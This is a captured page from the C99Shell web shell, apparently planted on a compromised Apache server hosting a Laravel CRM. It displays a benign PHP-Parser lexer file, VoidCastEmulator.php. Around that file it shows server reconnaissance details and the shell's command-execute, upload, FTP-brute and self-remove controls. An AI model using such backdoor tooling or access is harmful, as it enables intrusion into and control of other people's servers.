!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VoidCastEmulator.php (3.04 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
PhpParser\Lexer\TokenEmulator;

use 
PhpParser\PhpVersion;
use 
PhpParser\Token;

class 
VoidCastEmulator extends TokenEmulator {
    public function 
getPhpVersion(): PhpVersion {
        return 
PhpVersion::fromComponents(85);
    }

    public function 
isEmulationNeeded(string $code): bool {
        return (bool)
\preg_match('/\([ \t]*void[ \t]*\)/i'$code);
    }

    public function 
emulate(string $code, array $tokens): array {
        for (
$i 0$c count($tokens); $i $c; ++$i) {
            
$token $tokens[$i];
            if (
$token->text !== '(') {
                continue;
            }

            
$numTokens 1;
            
$text '(';
            
$j $i 1;
            if (
$j $c && $tokens[$j]->id === \T_WHITESPACE && preg_match('/[ \t]+/'$tokens[$j]->text)) {
                
$text .= $tokens[$j]->text;
                
$numTokens++;
                
$j++;
            }

            if (
$j >= $c || $tokens[$j]->id !== \T_STRING || \strtolower($tokens[$j]->text) !== 'void') {
                continue;
            }

            
$text .= $tokens[$j]->text;
            
$numTokens++;
            
$k $j 1;
            if (
$k $c && $tokens[$k]->id === \T_WHITESPACE && preg_match('/[ \t]+/'$tokens[$k]->text)) {
                
$text .= $tokens[$k]->text;
                
$numTokens++;
                
$k++;
            }

            if (
$k >= $c || $tokens[$k]->text !== ')') {
                continue;
            }

            
$text .= ')';
            
$numTokens++;
            
array_splice($tokens$i$numTokens, [
                new 
Token(\T_VOID_CAST$text$token->line$token->pos),
            ]);
            
$c -= $numTokens 1;
        }
        return 
$tokens;
    }

    public function 
reverseEmulate(string $code, array $tokens): array {
        for (
$i 0$c count($tokens); $i $c; ++$i) {
            
$token $tokens[$i];
            if (
$token->id !== \T_VOID_CAST) {
                continue;
            }

            if (!
preg_match('/^\(([ \t]*)(void)([ \t]*)\)$/i'$token->text$match)) {
                throw new 
\LogicException('Unexpected T_VOID_CAST contents');
            }

            
$newTokens = [];
            
$pos $token->pos;

            
$newTokens[] = new Token(\ord('('), '('$token->line$pos);
            
$pos++;

            if (
$match[1] !== '') {
                
$newTokens[] = new Token(\T_WHITESPACE$match[1], $token->line$pos);
                
$pos += \strlen($match[1]);
            }

            
$newTokens[] = new Token(\T_STRING$match[2], $token->line$pos);
            
$pos += \strlen($match[2]);

            if (
$match[3] !== '') {
                
$newTokens[] = new Token(\T_WHITESPACE$match[3], $token->line$pos);
                
$pos += \strlen($match[3]);
            }

            
$newTokens[] = new Token(\ord(')'), ')'$token->line$pos);

            
array_splice($tokens$i1$newTokens);
            
$i += \count($newTokens) - 1;
            
$c += \count($newTokens) - 1;
        }
        return 
$tokens;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0081 ]--